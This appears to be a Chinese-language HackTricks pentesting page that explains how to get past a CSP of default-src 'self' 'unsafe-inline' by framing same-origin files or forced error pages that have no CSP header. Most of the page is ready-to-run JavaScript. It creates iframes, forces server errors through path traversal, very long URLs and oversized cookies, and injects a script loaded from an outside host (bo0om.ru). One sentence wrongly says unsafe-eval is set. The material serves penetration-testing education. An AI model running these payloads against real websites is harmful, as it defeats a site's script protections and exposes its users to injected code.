hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
2023-08-03 19:12:22 +00:00

5.1 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

一个如下的配置:

Content-Security-Policy: default-src self unsafe-inline;

禁止使用将代码作为字符串传输并执行的任何函数。例如:eval, setTimeout, setInterval,由于设置了unsafe-eval,所有这些函数都将被阻止。

任何来自外部源的内容也会被阻止包括图像、CSS、WebSockets尤其是JS。

通过文本和图像

现代浏览器将图像和文本转换为HTML文件以更好地可视化它们设置背景、居中等

因此,如果你使用一个iframe打开一个图像或文本文件,比如favicon.icorobots.txt你将以HTML形式打开它。

这些页面通常没有CSP头并且可能没有X-Frame-Options因此你可以从中执行任意JS代码

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

通过错误

与文本文件或图像一样,错误响应通常没有CSP头并且可能没有X-Frame-Options。因此您可以强制发生错误并将其加载到iframe中

// Force nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Force error via long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Force error via long cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Don't forget to remove them
for(var i=0;i<5;i++){document.cookie=i+"="}
// After any of the previous examples, you can execute JS in the iframe with something like:
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

参考资料

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥